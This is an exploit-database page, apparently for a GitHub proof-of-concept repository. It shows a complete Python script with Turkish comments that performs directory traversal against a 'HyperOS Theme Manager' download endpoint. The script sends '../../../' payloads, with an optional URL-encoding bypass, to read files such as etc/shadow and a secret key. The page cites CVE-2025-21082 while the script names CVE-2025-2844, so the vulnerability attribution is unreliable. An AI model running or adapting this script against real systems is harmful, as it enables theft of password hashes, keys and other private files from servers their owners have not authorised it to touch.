Exploit database

GH-49b29ee69b6e756c515565446e6c0417

kkaanozturk/hyperos-directory-traversal-analysis

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-21082

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc_python/exploit.py

Python · 3,034 bytes
import argparse
import requests
import urllib.parse
from colorama import Fore, Style, init

# Renkli çıktı için colorama başlatılıyor
init(autoreset=True)

def print_banner():
    banner = f"""
{Fore.CYAN}{Style.BRIGHT}===================================================================
{Fore.RED}      CVE-2025-2844: HyperOS Theme Manager Directory Traversal
{Fore.CYAN}==================================================================={Style.RESET_ALL}
    """
    print(banner)

def exploit(target_url, target_file, url_encode=False):
    print(f"{Fore.YELLOW}[*] Hedef URL: {target_url}")
    print(f"{Fore.YELLOW}[*] Okunacak Dosya: {target_file}")
    
    # Dizin atlama payload'ı (Temel seviye)
    # Temel dizin: fake_root/var/hyperos/themes
    # fake_root/etc/shadow'a ulaşmak için: ../../../etc/shadow
    payload = f"../../../{target_file}"
    
    if url_encode:
        # URL Encode bypass simülasyonu
        payload = urllib.parse.quote(payload)
        print(f"{Fore.YELLOW}[*] Payload URL Encode edildi: {payload}")
    
    # Hedef endpoint'i oluştur
    vulnerable_endpoint = f"{target_url}/api/themes/download"
    params = {'theme': payload}
    
    print(f"{Fore.CYAN}[*] İstek gönderiliyor... {vulnerable_endpoint}?theme={payload}")
    
    try:
        response = requests.get(vulnerable_endpoint, params=params, timeout=5)
        
        if response.status_code == 200:
            print(f"\n{Fore.GREEN}{Style.BRIGHT}[+] Başarılı! Dosya içeriği okundu:{Style.RESET_ALL}\n")
            print(f"{Fore.LIGHTWHITE_EX}{response.text}")
            print(f"{Fore.GREEN}{Style.BRIGHT}[+] Zafiyet başarıyla sömürüldü.{Style.RESET_ALL}")
        elif response.status_code == 404:
            print(f"\n{Fore.RED}[-] Dosya bulunamadı (404). Yol yanlış olabilir veya sunucu yamalanmış olabilir.")
            print(f"Sunucu Yanıtı: {response.text}")
        else:
            print(f"\n{Fore.RED}[-] İstek başarısız oldu. HTTP Kodu: {response.status_code}")
            print(f"Sunucu Yanıtı: {response.text}")
            
    except requests.exceptions.ConnectionError:
        print(f"\n{Fore.RED}[!] Hata: Hedef sunucuya bağlanılamadı. Sunucunun çalıştığından emin olun.")
    except requests.exceptions.Timeout:
        print(f"\n{Fore.RED}[!] Hata: İstek zaman aşımına uğradı.")
    except Exception as e:
        print(f"\n{Fore.RED}[!] Beklenmeyen bir hata oluştu: {str(e)}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2025-2844 HyperOS Directory Traversal PoC")
    parser.add_argument("-u", "--url", required=True, help="Hedef sunucu URL'si (ör. http://127.0.0.1:5000)")
    parser.add_argument("-f", "--file", required=True, help="Okunmak istenen dosya yolu (ör. etc/shadow veya var/hyperos/secret_key.pem)")
    parser.add_argument("--encode", action="store_true", help="Payload'u URL Encode et")
    
    args = parser.parse_args()
    
    print_banner()
    exploit(args.url, args.file, args.encode)